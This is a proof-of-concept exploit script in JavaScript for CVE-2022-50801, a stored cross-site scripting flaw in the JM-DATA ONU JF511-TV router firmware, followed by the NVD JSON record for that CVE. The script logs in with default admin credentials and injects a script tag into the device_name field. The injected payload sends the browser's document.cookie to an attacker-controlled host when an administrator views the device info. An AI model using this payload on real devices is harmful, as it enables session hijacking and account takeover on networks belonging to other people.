CVE-2022-50801

// CVE-2022-50801 PoC - Stored XSS in JM-DATA ONU JF511-TV // Authenticated Stored XSS Payload const axios = require('axios'); // Configuration const TARGET = 'http://192.168.1.1'; // Device IP const USERNAME = 'admin'; const PASSWORD = 'admin'; // XSS Payload - Steal session cookies const xssPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // Login and exploit async function exploit() { try { // Step 1: Login to get authenticated session const loginResp = await axios.post(`${TARGET}/login`, { username: USERNAME, password: PASSWORD }); const cookies = loginResp.headers['set-cookie']; // Step 2: Inject XSS payload into vulnerable parameter // Common vulnerable fields: device_name, description, custom_dns, etc. await axios.post(`${TARGET}/api/device/config`, { device_name: xssPayload, description: 'JM-DATA ONU JF511-TV', version: '1.0.67' }, { headers: { Cookie: cookies } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when admin views device info'); } catch (err) { console.error('[-] Exploitation failed:', err.message); } } exploit();

{"cve": {"id": "CVE-2022-50801", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:47.470", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JM-DATA ONU JF511-TV version 1.0.67 is vulnerable to authenticated stored cross-site scripting (XSS) attacks, allowing attackers with authenticated access to inject malicious scripts that will be executed in other users' browsers when they view the affected content."}, {"lang": "es", "value": "JM-DATA ONU JF511-TV versión 1.0.67 es vulnerable a ataques de cross-site scripting (XSS) almacenado autenticado, lo que permite a los atacantes con acceso autenticado inyectar scripts maliciosos que se ejecutarán en los navegadores de otros usuarios cuando visualicen el contenido afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2022060058", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/229343", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/167487/", "source": "[email protected]"}, {"url": "https://www.jm-data.com/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/jm-data-onu-jf-tv-authenticated-stored-cross-site-scripting-xss-vulnerability", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5708.php", "source": "[email protected]"}]}}